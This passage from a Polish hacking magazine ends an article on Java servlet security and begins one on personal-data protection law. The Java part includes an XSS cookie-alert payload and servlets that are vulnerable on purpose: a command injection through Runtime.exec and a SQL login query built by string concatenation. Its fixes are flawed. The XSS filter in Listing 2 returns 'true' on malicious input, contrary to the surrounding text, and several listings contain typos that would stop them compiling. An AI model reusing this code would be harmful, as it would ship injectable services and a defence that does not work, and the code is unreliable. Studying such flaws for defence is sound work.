stingach potrzebne jest odpowiednie
oprogramowanie: serwer Tomcat oraz
JDK (Java Developers Kit). Odpowied-
nie linki podane są na końcu artykułu.

XSS (Cross Site Scripting)

– ostatnio bardzo popularny ro-
dzaj błędów. Polega na przekaza-
niu przez użytkownika kodu napisa-
nego w języku JavaScript jako war-
tości parametru na stronie interne-
towej. Po dokonaniu zapytania stro-
na wykonuje podany kod. Przykłado-
wo, aby zwrócić wartość ciasteczek,
wystarczy przekazać do servletu na-
stępujący kod:

<script>alert(docume

nt.cookie)</script>

. Błąd ten pozwa-

la na kradzież sesji, co może dopro-
wadzić do kompromitacji całego sys-
temu – jeżeli została przejęta sesja
użytkownika z prawami administrato-
ra. Kod programu podatnego na XSS
przedstawiony jest na Listingu 1.

Postanowiłem nie przedstawiać

dodatkowego kodu HTML, ponieważ
każdy powinien sobie poradzić z na-
pisaniem odpowiedniej strony. Nasz
program pobiera wartość parametru

no _ filter

i wyświetla ją na nowej stro-

nie. Widzimy, że w programie nie ma
żadnej filtracji przekazywanych da-
nych (co zdarza się bardzo często)
i gdyby program był bardziej zaawan-
sowany (sesje, Cookies), to jego kom-
promitacja nie byłaby trudna. Aby po-
radzić sobie z XSS, należy filtrować
każdą zmienną, do której użytkownik
ma dostęp. Możemy pisać własny filtr
od podstaw (patrz Listing 2) lub wyko-
rzystać gotowe, przetestowane i bez-
pieczne klasy napisane przez innych
programistów. Listing 2 przedstawia
bazową wersję kodu, który przepro-
wadza walidację danych wprowadzo-
nych przez użytkownika na stronie.
Kod jest wyjątkowo prosty i wymaga
dodania wielu warunków. Funkcja vali-
dation()
zwraca logiczną wartość true,
jeżeli walidacja danych przebiegła po-

myślnie (brak kodu JavaScript), a war-
tość false, gdy wprowadzono niebez-
pieczne dane. Zasada działania pro-
gramu jest bardzo prosta – sprawdza
on, czy w przekazanym przez użyt-
kownika ciągu znaków występuje ciąg

<script

. Funkcja przechwytuje także

ewentualne błędy, powstałe np. pod-
czas odwoływania się do żądania wy-
słanego przez użytkownika. Jeżeli nie
mamy czasu na pisanie swojego filtru,
to proponuję zapoznać się z kawał-
kiem kodu opracowanym przez Jose-
pha O’Conella, który można ściągnąć
ze strony (6).

Wstrzykiwanie poleceń

Z poziomu Javy możemy wywoły-
wać także inne procesy. Swobodny
dostęp do innych programów pozwa-
la nam np. na korzystanie z dobro-
dziejstw języków skryptowych czy na-
rzędzi wbudowanych w system ope-
racyjny. Istnieje jednak duże ryzyko,
że jeżeli użytkownik zewnętrzny bę-

Zalety JEE

Czyli dlaczego coraz więcej firm decyduje się na Javę:

• Niskie koszty – Java posiada otwartą architekturę, co w dużym stopniu obniża koń-

cowe koszty poprzez zniwelowanie kosztów licencji.

• Otwartość standardów – JEE jest otwartym zbiorem standardów, którego osta-

teczny wygląd może ulegać zmianie nie tylko w wyniku działań twórcy (Sun).

• Model bezpieczeństwa – Java oferuje rozbudowany system bezpieczeństwa, ofe-

rujący mechanizmy wspomagające autoryzację użytkowników, kryptografię czy
określanie dostępu do odpowiednich zasobów.

• Przenośność – aplikacje pisane w Javie możemy uruchomić na dowolnym syste-

mie operacyjnym. Pozwala to na wybieranie lepszych rozwiązań i uniezależnienie
się od konkretnych produktów.

• Duża baza bibliotek – jeżeli nie możemy znaleźć odpowiedniej funkcji w standar-

dowych zbiorach bibliotek, zawsze możemy liczyć na duże wsparcie innych pro-
gramistów udostępniających swoje rozwiązania na licencji open source.

Servlety i JSP

Servlet – jest to niewielki program napisany w Javie działający po stronie serwera,

pozwalający na dodawanie dynamicznej zawartości na strony WWW. Servlety po-
wstały w odpowiedzi na takie języki, jak PHP czy ASP.NET. Działają na zasadzie od-
powiedzi na zapytania przesyłane przez użytkownika (request-response). Mają peł-
ny dostęp do pozostałych elementów języka. Mogą być dynamicznie generowane
przez JSP.

JSP (Java Server Pages) – jest to technologia bardzo podobna do servletów. Tak-

że pozwala na dynamiczną generację treści na stronach internetowych. W przy-
padku JSP kod Java jest wpleciony w kod HTML. JSP podczas wykonywania są
tłumaczone na servlety.

Rysunek 1.

HTTPLiveHeaders w akcji

background image

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

65

dzie miał dostęp do parametrów wy-
wołania nowego procesu, to poziom
bezpieczeństwa naszego programu
drastycznie spadnie. Aby lepiej zo-
brazować problem, należy prześle-
dzić Listing 3. Tworzymy tam nowy
proces, kontrolę nad którym w pełni
oddajemy użytkownikowi. Nawet, je-
śli zapewnimy naszej aplikacji świet-
ny system weryfikacji użytkowników,
to przydzielenie tak dużych upraw-
nień jest rażącym błędem. Atakują-
cy może uruchomić na naszym ser-
werze dowolny program z dowolnymi
parametrami wejściowymi i uzyskać
niekontrolowany dostęp do chronio-
nych zasobów.

Kod na Listingu 3. obrazuje jesz-

cze jeden dość częsty błąd progra-
mistyczny. W wielu przypadkach se-
rvlety w razie wystąpienia ewentual-
nych błędów zwracają na ekran stos
wywołań. Przykładowy kod został
zamieszczony w sekcji catch(). Mo-
żemy z niego odczytać wiele przy-
datnych informacji, takich jak: na-
zwy funkcji, klasy czy nazwy pliku,
w którym wystąpił błąd. Wszystkie
te informacje mogą pomóc w pozna-
niu wewnętrznej struktury aplikacji
i umożliwić sprawniejszy atak. Na-
leży pamiętać, aby za wszelką ce-
nę chronić treść wewnętrznych mo-
nitów programu przed użytkownika-
mi końcowymi.

SQL Injection

Myślę, że termin SQL Injection jest
wszystkim dobrze znany. Dla przypo-
mnienia napiszę, że jest to błąd wy-
nikający z niepoprawnego filtrowania
danych przekazywanych przez użyt-
kownika, w następstwie czego mo-
dyfikowane są zapytania do bazy
danych. Jako, że większość aplikacji
pisanych w JEE operuje na danych
umieszczonych w bazach danych to
błędy SQLI są bardzo popularne. Na
Listingu 4 przedstawiony jest przy-
kład kodu podatnego na SQL Injec-
tion
. Symuluje on prosty system lo-
gowania wykorzystujący sterow-
nik JDBC. Zmienne przekazywane
przez użytkownika nie są w żaden
sposób filtrowane i mogą być przy-
czyną ataków na nasz system. Uży-
wając znanych sztuczek, o których

nie warto pisać po raz setny, można
oszukać program i uzyskać nieauto-
ryzowany dostęp do zasobów. W tym
momencie warto zastanowić się czy
istnieje prosta metoda zapobiegania
takim sytuacjom.

Odpowiedź jest jak zwykle jed-

noznaczna. Programiści opraco-
wali techniki, które automatycznie
filtrują zmienne wysyłane do na-
szej aplikacji i unieszkodliwiają nie-
bezpieczne znaki (‘, *, /, itd.). Na
Listingu 5. pokazana jest najlep-

sza metoda na uniknięcie błędów
SQLI, czyli użycie tzw. Prepared
Statements. Prepared Statements
automatycznie dodają tzw. zna-
ki ucieczki
do zapytań SQL, któ-
re uniemożliwiają (a przynajmniej
utrudniają) atak. Jeżeli korzystamy
z zaawansowanych frameworków
odpowiedzialnych za dostęp do ba-
zy danych (np. popularny Hiberna-
te
), nie musimy martwić się o taką
filtrację zapytań. Jest ona dokony-
wana automatycznie.

Listing 2.

Podstawa naszego filtru przeciwko XSS

public

boolean

validation

(

HttpServletRequest

request

,

String

param

)

{

try

{

String

parameter

=

request

.

getParameter

(

param

)

;

if

(

parameter

.

indexOf

(

"<script"

)

!=

-

1

)

{

return

true

;

}

}

catch

(

Exception

e

)

{}

//lapiemy wyjatek, przeprowadzamy stosowne

dzialania – logowanie bledu, ewentualny monit

return

false

;

}

Listing 3.

Wstrzykiwanie poleceń

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public

class

ReqVuln

extends

HttpServlet

{


public

void

doGet

(

HttpServletRequest

request

,

HttpServletResponse

response

)

throws

ServletException

,

IOException

{

response

.

setContentType

(

"text/html"

)

;

PrintWriter

out

=

response

.

getWriter

()

;

out

.

println

(

"<HTML>"

)

;

out

.

println

(

"<HEAD><TITLE>ReqVul</TITLE></HEAD>"

)

;

out

.

println

(

"<BODY>"

)

;

String

program

=

request

.

getParameter

(

"no_filter"

)

;

// przek.

parametru

out

.

println

(

"Running program: "

+

program

)

;

try

{

Runtime

runtime

=

Runtime

.

getRuntime

()

;

//uruchamiamy program

Process

process

=

runtime

.

exec

(

program

)

;

}

catch

(

Exception

e

)

{

//stos wywolan

for

(

StackTraceElement

ste

:

e

.

getStackTrace

())

out

.

println

(

ste

.

getMethodName

())

;

}

out

.

println

(

"</BODY></HTML>"

)

;

}

public

void

doPost

(

HttpServletRequest

request

,

HttpServletResponse

response

)

throws

ServletException

,

IOException

{

doGet

(

request

,

response

)

;

}
}

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

66

Błędy żądań

Czyli tzw. Request Bugs. Przy pro-
jektowaniu zaawansowanych syste-
mów biznesowych należy pamiętać,
że atakujący jest w stanie zmie-
nić praktycznie każdy parametr
wywołania naszej strony. Jeżeli po-
bieramy standardowe informacje z
naszej witryny, takie jak nagłówek,
wykorzystywany protokół, ciastecz-
ka czy nazwę przeglądarki, należy
zawsze mieć na uwadze możliwość
ich modyfikacji przez atakującego.
Modyfikacja tych danych jest banal-
nie prosta i możliwa np. przez plugin
HTTPLiveHeaders dla przeglądarki
Firefox. Jeżeli musimy operować na
danych, które mogą być zmienione
w łatwy sposób, musimy zachować

szczególną ostrożność i podjąć od-
powiednie kroki, aby zweryfikować
ich autentyczność.

Błędy związane z

zarządzaniem pamięcią

Błędy związane z nieprawidłowym ma-
nipulowaniem pamięcią w Javie są nie-
słychanie ciekawe i kontrowersyjne.
Z jednej strony można mówić, że Java
jest językiem zapewniającym zaawan-
sowaną kontrolę pamięci i nie moż-
na przeprowadzić ataków typu buffer
overflow na aplikacjach pisanych w Ja-
vie. Z drugiej strony, nie jest to do końca
prawdą i warto poznać sytuacje, w któ-
rych atak na bufor jest możliwy.

Prawdą jest, że aplikacje pisane

w całości w Javie są bezpieczne
i dzięki zarządzaniu pamięcią, rozbu-
dowanemu systemowi wyjątków i au-
tomatycznemu usuwaniu niepotrzeb-
nych obiektów (Garbage Collector)
większość błędów związanych z pa-
mięcią, a znanych choćby z C++, jest
wyeliminowana. Zdarza się jednak,
że programiści pisząc duże projek-
ty wykorzystują tzw. Java Native In-
terface (JNI) w celu użycia kodu na-
pisanego w innym języku. JNI pozwa-
la nam na współpracę z bibliotekami
napisanymi w takich językach, jak C,
C++ czy Asembler, które niestety nie
słyną z bezpieczeństwa. Co więcej,
kod wykonywany w ramach JNI nie
podlega weryfikacji przez mechani-
zmy bezpieczeństwa zaimplemento-
wane w Javie. Jeżeli w kodzie napisa-
nym w C++ istnieje podatność, to jest
ona automatycznie przenoszona do
naszego programu pisanego w Javie.
Analizując strukturę atakowanej apli-
kacji, zawsze musimy dopuszczać
możliwość istnienia niebezpiecznych
bibliotek pochodzących z innych języ-

Listing 4.

Kod podatny na SQL Injection

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public

class

SQLIncjection

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

,

HttpServletResponse

response

)

throws

ServletException

,

IOException

{

response

.

setContentType

(

"text/html"

)

;

PrintWriter

out

=

response

.

getWriter

()

;

out

.

println

(

"<HTML>"

)

;

out

.

println

(

"<HEAD><TITLE>SQLInjection</TITLE></HEAD>"

)

;

out

.

println

(

"<BODY>"

)

;

String

user

=

request

.

getParameter

(

user

)

;

//podanie usera

String

password

=

request

.

getParameter

(

password

)

;

//podanie hasla

try

{

Connection

conn

=

DriverManager

.

getConnection

(

"jdbc:mysql://localhost/

USERNAME?user=USERNAME&password=PASSWORD"

)

;

//

polaczenie z baza

Statement

stmt

=

conn

.

createStatement

()

;

String

sql

=

"select * from usernames where username='"

+

user

+

"'

and password='"

+

password

+

"'"

;

//zapytanie SQL

ResultSet

rs

=

stmt

.

executeQuery

(

sql

)

;

//wywolanie zapytania

if

(

rs

.

next

())

{

out

.

println

(

"Zalogowano"

)

;

}

else

{

out

.

println

(

"Blad"

)

;

}

rs

.

close

()

;

stmt

.

close

()

;

conn

.

close

()

;


}

catch

(

SQLException

e

)

{

out

.

println

(

"Message: "

+

e

.

getMessage

())

;

}

}
}

Przekazywanie danych do servletu

W celu lepszego zrozumienia błędów występujących w servletach należy zrozumieć
sposób przekazywania danych do servletu przez użytkownika zewnętrznego. W pro-
gramach przedstawionych w tym artykule dane są pobierane za pomocą funkcji

reque

st.getParameter("nazwa-elementu")

. Skąd są pobierane? Oczywiście z powiązanej

strony z następującym, standardowym kodem HTML:

<FORM ACTION="nazwa-servletu">
Wpisz dane: <INPUT TYPE="TEXT" NAME="nazwa-elementu"><BR>
<INPUT TYPE="SUBMIT">
</FORM>

W zależności od sposobu przekazywania parametrów (POST, GET) w naszym servle-
cie uruchamiana jest odpowiednia funkcja (

doPost

,

doGet

).

background image

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

67

ków. Jest to poważny błąd, który dra-
stycznie zmniejsza bezpieczeństwo
aplikacji.

Inne typy błędów

Błędy w aplikacjach pisanych pod
JEE mogą być różnorodne, a ich licz-
ba nie jest stała i z góry ustalona.
Oprócz błędów opisanych w tym ar-
tykule istnieje cały szereg mniej po-
pularnych i rzadszych nieprawidłowo-
ści w kodzie programu. Mogą to być
np. błędy spowodowane użyciem sła-
bych technik kryptograficznych. Je-
żeli zdecydowaliśmy się na pisanie
własnych, niepowtarzalnych algoryt-
mów lub przechowujemy hasła w po-
staci niezaszyfrowanej, to – niestety
– nie możemy liczyć na wysoki po-
ziom bezpieczeństwa. Często zdarza
się także, że systemy uwierzytelnia-
jące w JEE są zbyt skomplikowane,
a utrzymywanie i konserwacja spra-
wiają niemałe kłopoty. Pamiętajmy,
że oprócz bezpiecznej strategii liczy
się także prostota i przejrzystość. Ist-
nieje także cały szereg błędów zwią-
zanych z optymalizacją i odpowiedni-

mi zabezpieczeniami przed atakami
DoS i floodingiem, ale jest to osobny
temat, który – mam nadzieję – uda mi
się kiedyś poruszyć.

Podsumowanie

Powyższy artykuł miał za zadanie zain-
teresować Was tematyką mniej popu-
larnych języków programowania. War-
to zainteresować się innymi technolo-
giami i nie ograniczać się do stron pisa-
nych tylko i wyłącznie w PHP. W pracy
będziemy musieli przeprowadzać au-
dyt dla różnych klientów i nigdy nie bę-
dziemy wiedzieć, z jaką technologią się
spotkamy. Myślę także, że lepiej praco-
wać na zlecenie dużej firmy, której apli-

kacje tworzone są w JEE, niż przepro-
wadzać kontrolowane ataki na śred-
niej wielkości strony pisane w PHP.
Z uwagi na ogrom zagadnień związa-
nych z bezpieczeństwem JEE nie mia-
łem technicznej możliwości opisania
wszystkich rodzajów błędów i najcie-
kawszych zagadnień. Mam jednak na-
dzieję, że zainteresowałem Was tą te-
matyką i będziecie kontynuować naukę
we własnym zakresie. Przedstawione
techniki przydadzą się zarówno pro-
gramistom piszącym w JEE do opraco-
wania odpowiednich zabezpieczeń, jak
i będą pomocne specjalistom ds. bez-
pieczeństwa w przygotowaniu należy-
tego wektora ataku. l

Listing 5.

Logowanie za pomocą tzw. Prepared Statements

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public

class

SQLIncjection

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

,

HttpServletResponse

response

)

throws

ServletException

,

IOException

{

response

.

setContentType

(

"text/html"

)

;

PrintWriter

out

=

response

.

getWriter

()

;

out

.

println

(

"<HTML>"

)

;

out

.

println

(

"<HEAD><TITLE>SQLInjection to przeszlosc</TITLE></HEAD>"

)

;

out

.

println

(

"<BODY>"

)

;

String

user

=

request

.

getParameter

(

user

)

;

//podanie usera

String

password

=

request

.

getParameter

(

password

)

;

//podanie hasla

try

{

Connection

conn

=

DriverManager

.

getConnection

(

"jdbc:mysql://localhost/

USERNAME?user=USERNAME&password=PASSWORD"

)

;

String

sql

=

"

select

*

from

usernames

where

username

=

?

and

password

=

?”

;

PreparedStatement

prep

=

Conn

.

prepareStatement

(

sql

)

;

//przygotowanie

zapytania

prep

.

setString

(

1

,

user

)

;

prep

.

setString

(

2

,

password

)

;


ResultSet

rs

=

prep

.

executeQuery

()

;

//wywolanie zapytania

if

(

rs

.

next

())

{

out

.

println

(

"Zalogowano"

)

;

}

else

{

out

.

println

(

"Blad"

)

;

}

rs

.

close

()

;

prep

.

close

()

;

conn

.

close

()

;


}

catch

(

SQLException

e

)

{

out

.

println

(

"Message: "

+

e

.

getMessage

())

;

}

O autorze

Piotr Łaskawiec, student Informatyki
Stosowanej na Politechnice Krakow-
skiej. Założyciel i przewodniczący Ko-
ła Naukowego PK IT Security Group
(www.pkitsec.pl). Od wielu lat związa-
ny z tematyką bezpieczeństwa kompu-
terowego. Pasjonat języka Python. W
wolnych chwilach programuje i zajmu-
je się publicystyką.
Kontakt z autorem:
hellsource@gmail.com

W Sieci

http://java.sun.com – strona główna

Javy,

http://tomcat.apache.org – strona

domowa serwera Tomcat,

http://www.eclipse.org – Eclipse IDE,
http://java.sun.com/javaee – strona

JavaEE,

http://java.sun.com/javase/

technologies/securit – Java Security,

http://josephoconnell.com/java/

xss-html-filter.

background image

www.hakin9.org

hakin9 Nr 3/2008

68

Bezpieczna Firma

Z

agadnienie bezpieczeństwa systemów
informatycznych, w których przetwa-
rza się dane osobowe, nabiera coraz

większego znaczenia, ponieważ zakres takie-
go przetwarzania staje się coraz szerszy. Pod
pojęciem bezpieczeństwa teleinformatyczne-
go danych osobowych należy rozumieć ochro-
nę poufności, rozliczalności i integralności
danych osobowych, które przetwarza się
w systemie informatycznym.

Za

bezpieczeństwo

przetwarzania

danych osobowych w systemie informatycz-
nym odpowiada administrator danych. Ad-
ministratorem danych
jest organ, jednostka
organizacyjna, podmiot lub osoba, decy-
dująca o celach i środkach przetwarzania
danych osobowych. Bezpieczeństwo teleinfor-
matyczne danych osobowych należy zapew-
nić przed rozpoczęciem oraz w trakcie prze-
twarzania danych osobowych. Podstawowe
zasady zabezpieczenia danych osobowych
określa Rozdział 5 – Zabezpieczenie danych
osobowych
ustawy o ochronie danych osobo-
wych. Szczegółowe wymagania techniczne
i organizacyjne związane z przetwarzaniem
danych osobowych w systemach informatycz-
nych oraz zakres dokumentacji przetwarzania

danych osobowych określa Rozporządzenie
Ministra Spraw Wewnętrznych i Administra-
cji w sprawie dokumentacji przetwarzania da-
nych osobowych oraz warunków technicznych
i organizacyjnych, jakim powinny odpowiadać
urządzenia i systemy informatyczne służące
do przetwarzania danych osobowych
.

Przepisy prawa nakładają na administra-

tora danych szereg obowiązków. Podstawo-
wym obowiązkiem administratora danych
jest zastosowanie środków technicznych
i organizacyjnych zapewniających ochro-
nę danych osobowych. Zastosowane środ-
ki ochrony, zgodnie z zasadą adekwatno-

Bezpieczeństwo

teleinformatyczne danych

osobowych

Andrzej Guzik

stopień trudności

System informatyczny, w którym przetwarza się dane osobowe,

powinien – oprócz wymagań wynikających z przepisów prawa

– uwzględniać wymagania Generalnego Inspektora Ochrony

Danych Osobowych w zakresie struktur baz danych osobowych

oraz funkcjonalności zarządzających nimi aplikacji.

Z artykułu dowiesz się

• jak zapewnić bezpieczeństwo danym osobo-

wym, które przetwarza się w systemie informa-
tycznym.

Co powinieneś wiedzieć

• znać podstawowe zasady ochrony danych oso-

bowych.

background image

Bezpieczeństwo teleinformatyczne danych osobowych

hakin9 Nr 3/2008

www.hakin9.org

69

ści, powinny zapewniać ochronę
danych osobowych odpowiednią
do zagrożeń oraz kategorii da-
nych objętych ochroną (dane zwy-
kłe bądź dane wrażliwe). Usta-
wa określa następujące zagroże-
nia związane z przetwarzaniem
danych osobowych: udostępnie-
nie osobom nieupoważnionym,
zabranie przez osobę nieupraw-
nioną, przetwarzanie z narusze-
niem ustawy oraz przypadkową

zmianę, utratę, uszkodzenie lub
zniszczenie danych osobowych.
Wśród środków technicznych słu-
żących do ochrony danych oso-
bowych można wymienić środki:
sprzętowe, programowe (oprogra-
mowanie systemowe, użytkowe,
narzędziowe) oraz telekomunika-
cyjne (oprogramowanie urządzeń
teletransmisji). W celu nadzorowa-
nia przestrzegania zasad ochrony
danych osobowych w organizacji

wyznacza się administratora bez-
pieczeństwa informacji (ABI). ABI
odpowiada między innymi za: nad-
zór nad zakresem dostępu osób
upoważnionych do przetwarzania
danych osobowych, nadzór nad
sposobem przetwarzania danych
osobowych w systemach informa-
tycznych, kontrolę zgodności syste-
mu informatycznego z wymagania-
mi określonymi w przepisach prawa
oraz za reakcję na incydenty naru-
szenia bezpieczeństwa danych oso-
bowych.

Administrator bezpieczeństwa

informacji powinien nadzorować,
aby do przetwarzania danych oso-
bowych były dopuszczone wyłącz-
nie osoby posiadające upoważnie-
nie wydane przez administratora
danych. Osoby, które zostały upo-
ważnione do przetwarzania da-
nych osobowych, zobowiązane są
do zachowania w tajemnicy tych
danych oraz sposobów ich zabez-
pieczenia. W jednostce organiza-
cyjnej powinna być prowadzona
ewidencja osób upoważnionych
do przetwarzania danych osobo-
wych. Ewidencja ta powinna za-
wierać między innymi: imię i na-
zwisko osoby upoważnionej, datę
nadania i ustania oraz zakres upo-
ważnienia do przetwarzania da-
nych osobowych (upoważnienie do
zbierania, utrwalania, przechowy-
wania, opracowywania, zmienia-
nia, udostępniania lub usuwania
danych osobowych) oraz identy-
fikator osoby. Dodatkowo admini-
strator danych zobowiązany jest

Przykłady nieprawidłowości przetwarzania danych

osobowych w systemach informatycznych

• nie wyznaczono administratora bezpieczeństwa informacji,
• nie dostosowano systemów informatycznych do wymagań wynikających z przepi-

sów prawa,

• nie opracowano instrukcji zarządzania systemem informatycznym służącym do

przetwarzania danych osobowych,

• nie zastosowano środków technicznych i organizacyjnych zapewniających ochro-

nę danych osobowych,

• nie określono poziomów bezpieczeństwa przetwarzania danych osobowych w

systemach informatycznych,

• nie wydano upoważnień do przetwarzania danych osobowych osobom przetwa-

rzającym dane osobowe w systemie informatycznym,

• nie nadano odrębnych identyfikatorów osobom przetwarzającym dane osobowe w

systemie informatycznym,

• nie zawarto umowy powierzenia przetwarzania danych osobowych,
• nie prowadzono ewidencji osób upoważnionych do przetwarzania danych osobo-

wych,

• nie zgłoszono zbiorów danych osobowych do rejestracji do GIODO,
• nie sporządzano kopii zapasowych,
• nie zapewniono kontroli dostępu do danych osobowych.

Rysunek 1.

Operacje przetwarzania

danych osobowych

���������

����������

��������������

�������������

����������

�������������

��������

��������������

������

����������

Podstawy prawne

• Rozdział 5 – Zabezpieczenie danych osobowych – ustawa z dnia 29 sierp-

nia 1997 r. o ochronie danych osobowych (tekst jedn. Dz. U. z 2002 r. Nr 101,
poz. 926 z późn. zm.).

• Rozporządzenie Ministra Spraw Wewnętrznych i Administracji z dnia 29

kwietnia 2004 r. w sprawie dokumentacji przetwarzania danych osobowych
oraz warunków technicznych i organizacyjnych, jakim powinny odpowiadać
urządzenia i systemy informatyczne służące do przetwarzania danych oso-
bowych (Dz. U. z 2004 r. Nr 100, poz. 1024).

• Rozporządzenie Ministra Spraw Wewnętrznych i Administracji z dnia 29

kwietnia 2004 r. w sprawie wzoru zgłoszenia zbioru do rejestracji General-
nemu Inspektorowi Ochrony Danych Osobowych (Dz. U. z 2004 r. Nr 100,
poz. 1025).

• Zalecenia Generalnego Inspektora Ochrony Danych Osobowych:
• Wytyczne w zakresie opracowania i wdrożenia polityki bezpieczeństwa,
• Wskazówki dotyczące sposobu opracowania instrukcji zarządzania syste-

mem informatycznym, służącym do przetwarzania danych osobowych, ze
szczególnym uwzględnieniem wymogów bezpieczeństwa informacji,

• Wymagania dotyczące struktur baz danych osobowych oraz funkcjonalności

zarządzających nimi aplikacji.

background image

hakin9 Nr 3/2008

www.hakin9.org

Bezpieczna firma

70

zapewnić kontrolę nad tym, jakie
dane osobowe i przez kogo zosta-
ły do zbioru danych wprowadzone
oraz komu zostały przekazane.

Dokumentacja

przetwarzania danych

Na administratorze danych cią-
ży obowiązek opracowania doku-
mentacji opisującej sposób prze-
twarzania danych osobowych oraz
wdrożonych środków technicznych
i organizacyjnych. Na dokumen-
tację przetwarzania danych oso-
bowych składa się polityka bez-
pieczeństwa danych osobowych
oraz instrukcja zarządzania sys-
temem informatycznym służącym
do przetwarzania danych osobo-
wych.
Dokumentację opracowu-
je się po przeprowadzeniu analizy
ryzyka z uwzględnieniem warunków
charakterystycznych dla jednostki
organizacyjnej, w której mają być
przetwarzane dane osobowe. Ana-
lizy ryzyka można dokonać stosu-
jąc na przykład metody opisane w
raporcie technicznym ISO/IEC TR
13335-3 Technika informatyczna
– Wytyczne do zarządzania bez-
pieczeństwem systemów informa-
tycznych Część 3: Techniki zarzą-
dzania bezpieczeństwem syste-
mów informatycznych.
Raport ten
przedstawia cztery warianty po-
dejścia do analizy ryzyka: podej-
ście podstawowego poziomu bez-
pieczeństwa, podejście nieformal-
ne, szczegółową analizę ryzyka
i
podejście mieszane.
Podstawo-

wa różnica pomiędzy nimi dotyczy
stopnia szczegółowości analizy
ryzyka. W oparciu o wyniki analizy
ryzyka dobiera się zabezpiecze-
nia. Zastosowane zabezpieczenia
powinny być efektywne kosztowo
i uwzględniać wymagania wynika-
jące z przepisów prawa, wymaga-
nia biznesowe i wymagania z ana-
lizy ryzyka. Ryzyko, jakie powstaje
po wprowadzeniu zabezpieczeń,
nazywamy ryzykiem szczątko-
wym
.

Polityka bezpieczeństwa da-

nych osobowych powinna zawie-
rać w szczególności dane określo-
ne w Tabeli 1. Przy konstruowaniu
polityki bezpieczeństwa danych

osobowych należy uwzględnić
zalecenia Generalnego Inspekto-
ra Ochrony danych Osobowych
(GIODO) – Wytycznych w zakresie
opracowania i wdrożenia polity-
ki bezpieczeństwa
oraz opcjonal-
nie zapisy rozdziału 7.2 - Polityka
bezpieczeństwa instytucji w za-
kresie systemów informatycznych
i Załącznika A – Przykładowy spis
treści polityki bezpieczeństwa in-
stytucji w zakresie systemów infor-
matycznych
raportu technicznego
ISO/IEC TR 13335-3.

Instrukcja zarządzania syste-

mem informatycznym służącym
do przetwarzania danych osobo-
wych powinna zawierać w szcze-
gólności dane określone w Tabe-
li 2. Przy konstruowaniu instrukcji
należy uwzględnić zalecenia GIO-
DO - Wskazówki dotyczące sposo-
bu opracowania instrukcji zarzą-
dzania systemem informatycznym,
służącym do przetwarzania da-
nych osobowych, ze szczególnym
uwzględnieniem wymogów bezpie-
czeństwa informacji
.

Wymagania systemu

informatycznego

System informatyczny służący do
przetwarzania danych osobowych
powinien charakteryzować się
określoną funkcjonalnością oraz

Tabela 1.

Zawartość dokumentu Polityka bezpieczeństwa danych

osobowych

Lp. Zawartość dokumentu

Polityka bezpieczeństwa danych osobowych

1

Wykaz budynków, pomieszczeń lub części pomieszczeń, tworzą-
cych obszar, w których przetwarzane są dane osobowe

2

Wykaz zbiorów danych osobowych wraz ze wskazaniem programów
zastosowanych do przetwarzania tych danych

3

Opis struktury zbiorów danych wskazujący zawartość poszczegól-
nych pól informacyjnych i powiązania między nimi

4

Sposób przepływu danych pomiędzy poszczególnymi systemami

5

Określenie środków technicznych i organizacyjnych niezbędnych dla
zapewnienia poufności, integralności i rozliczalności przetwarza-
nych danych

Rysunek 2.

Zarządzanie ryzykiem

������

��������������

����������

���������
����������

�������

��������

�����������������

��������������

����������
�����������

������������

����������

��������

������

���������

�����������

�����

��������

�����

����������

�����������

����������

�������

��������

����������

background image

Bezpieczeństwo teleinformatyczne danych osobowych

hakin9 Nr 3/2008

www.hakin9.org

71

umożliwiać sporządzenie i wydruk
raportu dla każdej osoby, której
dane osobowe są przetwarzane
w systemie. System powinien za-
pewniać odnotowanie: daty pierw-
szego wprowadzenia, identyfika-
tora użytkownika, źródła danych,
informacji o odbiorcach oraz
sprzeciwu osoby wobec przetwa-
rzania jej danych w przypadkach
określonych w ustawie.

Przy projektowaniu systemów

informatycznych należy uwzględ-
nić zalecenia GIODO – Wymaga-
nia dotyczące struktur baz danych
osobowych oraz funkcjonalności
zarządzających nimi aplikacji
.

Poziomy

bezpieczeństwa

Rozporządzenie Ministra Spraw
Wewnętrznych i Administracji w
sprawie dokumentacji przetwarza-
nia danych osobowych oraz wa-
runków technicznych i organizacyj-
nych, jakim powinny odpowiadać
urządzenia i systemy informatycz-
ne służące do przetwarzania da-
nych osobowych
wprowadza trzy

poziomy bezpieczeństwa przetwa-
rzania danych osobowych: podsta-
wowy, podwyższony i wysoki.

Poziom podstawowy

Poziom podstawowy stosuje się,
gdy w systemie informatycznym
nie przetwarza się danych wraż-
liwych
(danych ujawniających po-
chodzenie rasowe lub etniczne,
poglądy polityczne, przekonania
religijne lub filozoficzne, przyna-
leżność wyznaniową, partyjną lub
związkową, dane o stanie zdrowia,
kodzie genetycznym, nałogach,

życiu seksualnym, danych doty-
czących skazań, orzeczeń o uka-
raniu, o mandatach karnych, orze-
czeń wydanych w postępowaniu
sądowym lub administracyjnym)
oraz żadne z urządzeń systemu
informatycznego nie jest połączo-
ne z siecią publiczną. Środki bez-
pieczeństwa na poziomie podsta-
wowym określa część A załączni-
ka do rozporządzenia MSWiA.

Na poziomie podstawowym

stosuje się następujące środki
ochrony: administrator danych po-
winien zapewnić fizyczną kontrolę
dostępu do obszaru przetwarzania
danych osobowych określonego w
polityce bezpieczeństwa danych
osobowych oraz logiczną kontro-
lę dostępu do danych przetwarza-
nych w systemie informatycznym,
stosując mechanizm w postaci
odrębnego identyfikatora i ha-
sła do uwierzytelniania użytkow-
ników systemu. Hasła stosowane
do uwierzytelniania użytkowników
powinny składać się z co najmniej
6 znaków i być zmieniane nie rza-
dziej niż co 30 dni. System infor-
matyczny powinien być zabezpie-
czony przed oprogramowaniem
szkodliwym oraz utratą danych
spowodowaną awarią zasilania
lub zakłóceniami w sieci zasilają-
cej. Dane przetwarzane w syste-
mie należy zabezpieczyć wyko-
nując kopie zapasowe – zarówno
zbiorów danych, jak i programów.
Kopie należy przechowywać w
miejscach zabezpieczonych przed
nieuprawnionym przejęciem, mo-
dyfikacją, uszkodzeniem lub znisz-
czeniem (jak najdalej w poziomie

